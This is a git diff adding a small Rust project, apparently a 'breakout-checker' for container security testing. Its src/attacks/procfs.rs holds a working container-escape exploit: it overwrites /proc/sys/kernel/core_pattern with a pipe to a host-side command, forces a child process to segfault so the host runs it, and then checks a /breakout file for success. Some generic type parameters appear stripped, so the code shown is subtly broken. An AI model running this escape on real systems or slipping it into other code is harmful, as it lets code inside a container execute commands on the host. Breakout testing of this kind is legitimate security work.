diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..ea8c4bf --- /dev/null +++ b/.gitignore @@ -0,0 +1 @@ +/target diff --git a/Cargo.lock b/Cargo.lock new file mode 100644 index 0000000..b8a3e74 --- /dev/null +++ b/Cargo.lock @@ -0,0 +1,46 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 3 + +[[package]] +name = "bitflags" +version = "2.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b048fb63fd8b5923fc5aa7b340d8e156aec7ec02f0c78fa8a6ddc2613f6f71de" + +[[package]] +name = "breakout-checker" +version = "0.1.0" +dependencies = [ + "nix", +] + +[[package]] +name = "cfg-if" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" + +[[package]] +name = "cfg_aliases" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "613afe47fcd5fac7ccf1db93babcb082c5994d996f20b8b159f2ad1658eb5724" + +[[package]] +name = "libc" +version = "0.2.161" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8e9489c2807c139ffd9c1794f4af0ebe86a828db53ecdc7fea2111d0fed085d1" + +[[package]] +name = "nix" +version = "0.29.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "71e2746dc3a24dd78b3cfcb7be93368c6de9963d30f43a6a73998a9cf4b17b46" +dependencies = [ + "bitflags", + "cfg-if", + "cfg_aliases", + "libc", +] diff --git a/src/attacks/mod.rs b/src/attacks/mod.rs new file mode 100644 index 0000000..8b1ec09 --- /dev/null +++ b/src/attacks/mod.rs @@ -0,0 +1 @@ +pub mod procfs; diff --git a/src/attacks/procfs.rs b/src/attacks/procfs.rs new file mode 100644 index 0000000..78ffab9 --- /dev/null +++ b/src/attacks/procfs.rs @@ -0,0 +1,40 @@ +use std::io::{Read, Write}; + +use nix::{ + libc::SIGCHLD, + sched::{self, CloneFlags}, + sys::wait::waitpid, +}; + +/// +/// 1. write "|$host_root/cmd" >> /proc/sys/kernel/core_pattern +/// 2. create process and segv +/// +pub fn procfs_breakout(host_root: &str) -> Result> { + let mut core_pattern = std::fs::File::options() + .write(true) + .open("/proc/sys/kernel/core_pattern")?; + + core_pattern.write_all(format!("|{}/cmd", host_root).as_bytes())?; + + let mut stack = [0u8; 1024]; + let pid = unsafe { + sched::clone( + Box::new(|| { + std::ptr::null_mut::().write(42); + 127 + }), + &mut stack, + CloneFlags::empty(), + Some(SIGCHLD), + )? + }; + + let _ = waitpid(pid, None); + + let mut breakout = std::fs::File::open("/breakout")?; + let mut buf = String::default(); + breakout.read_to_string(&mut buf)?; + + Ok(buf.contains("true")) +}